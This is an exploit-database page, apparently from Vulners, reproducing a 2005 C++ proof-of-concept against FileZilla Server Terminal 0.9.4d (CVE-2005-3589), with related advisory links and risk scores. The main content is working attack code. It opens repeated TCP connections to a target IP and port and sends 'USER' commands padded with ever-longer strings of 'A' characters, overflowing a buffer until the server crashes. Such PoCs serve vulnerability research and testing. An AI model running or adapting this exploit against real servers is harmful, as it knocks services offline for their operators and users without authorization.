Lucene search
+L

FileZilla Server Terminal 0.9.4d - Buffer Overflow (PoC)

🗓️ 21 Nov 2005 00:00:00Reported by Inge HenriksenType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 165 Views

FileZilla Server 0.9.4d Buffer Overflow PoC for Do

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
FileZilla FTP Server < 0.9.6 Multiple DoS
22 Mar 200500:00
nessus
circl
Circl
CVE-2005-3589
29 May 201815:50
circl
cve
CVE
CVE-2005-3589
16 Nov 200507:37
cve
cvelist
Cvelist
CVE-2005-3589
16 Nov 200507:37
cvelist
metasploit
Metasploit
FileZilla FTP Server Admin Interface Denial of Service
11 Jan 200914:38
metasploit
nvd
NVD
CVE-2005-3589
16 Nov 200507:42
nvd
packetstorm
Packet Storm
FileZilla FTP Server Admin Interface Denial of Service
31 Aug 202400:00
packetstorm
/*
FileZillaDoS.cpp
FileZilla Server Terminal 0.9.4d DoS PoC by Inge Henriksen.
Read the disclaimer at http://ingehenriksen.blogspot.com before using.
Made to work with Microsoft(R) Visual C++(R), to use link "WS2_32.lib".
*/

#include "stdafx.h"
#include <iostream>
#include "Winsock2.h"

#define BUFFSIZE 10000
#define ATTACK_BUFFSIZE 5000

using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
       cout << "FileZilla Server Terminal 0.9.4d DoS PoC by Inge Henriksen." << endl;
       cout << "Read the disclaimer at http://ingehenriksen.blogspot.com before using." << endl;
       if (argc!=3)                    // Exit if wrong number of arguments
       {
               cerr << "Error: Wrong number of arguments" << endl;
               cout << "Usage: " << argv[0] << " <Target IP> <Target Port>" << endl;
               cout << "Example: " << argv[0] << " 192.168.2.100 21" << endl;
               return (-1);
       }

       in_addr IPAddressData;
       __int64 counterVal;
       char* bufferData;
       char* attackStringData;
       SOCKET sock;
       sockaddr_in sinInterface;

       WSADATA wsaData;
       int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);             // Use Winsock version 2.2
       if (iResult != NO_ERROR)
       {
               cerr << "Error: WSAStartup() failed" << endl;
               return(-1);
       }

       int recvRet;
       char tmpBuffer[BUFFSIZE];
       char tmpAttackBuffer[ATTACK_BUFFSIZE];
       tmpAttackBuffer[0] = 'U';
       tmpAttackBuffer[1] = 'S';
       tmpAttackBuffer[2] = 'E';
       tmpAttackBuffer[3] = 'R';
       tmpAttackBuffer[4] = ' ';

       int i;
       int j=5;
       for (i=j;i<ATTACK_BUFFSIZE-6;i++)
       {
               int k;
               for(k=j;k<=i;k++)
               {
                       tmpAttackBuffer[k] = 'A';
               }
               tmpAttackBuffer[k] = '\n';
               tmpAttackBuffer[k+1] = '\0';

               sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP );
               if ((int)(sock)==-1)
               {
                       cerr << "Error: Could not create socket" << endl;
                       return(-1);
               }

               sinInterface.sin_family = AF_INET;
               sinInterface.sin_addr.s_addr = inet_addr(argv[1]);
               sinInterface.sin_port = htons(atoi(argv[2]));

               if ((connect(sock,(sockaddr*)&sinInterface ,sizeof(sockaddr_in))!=SOCKET_ERROR))
               {
                       int sendResult = send( sock, tmpAttackBuffer , (int)strlen(tmpAttackBuffer), 0);
                       cout << "Sent " << strlen(tmpAttackBuffer) << " characters" << endl;
                       if ( sendResult != SOCKET_ERROR )
                       {
                               recvRet = SOCKET_ERROR;

                               for (int i=0;i<BUFFSIZE;i++)
                                       tmpBuffer[i]=(char)0;

                               recvRet = recv( sock, tmpBuffer , BUFFSIZE-1, 0 );
                               if ( recvRet == SOCKET_ERROR )
                                       cerr << "Error: recv() failed" << endl;
                               else
                                       cout << "Response is: " << endl << tmpBuffer << endl;;
                       }
                       else
                               cerr << "Error: send() failed" << endl;

                       if (shutdown(sock,0)==SOCKET_ERROR)
                               cerr << "Error: shutdown() failed" << endl;
               }
               else
                       cerr << "Error: connect() failed" << endl;

               if (closesocket(sock)==SOCKET_ERROR)
                       cerr << "Error: closesocket() failed" << endl;

       }       // End for loop

       return 0;
}

// milw0rm.com [2005-11-21]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jun 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.8
EPSS0.5286
165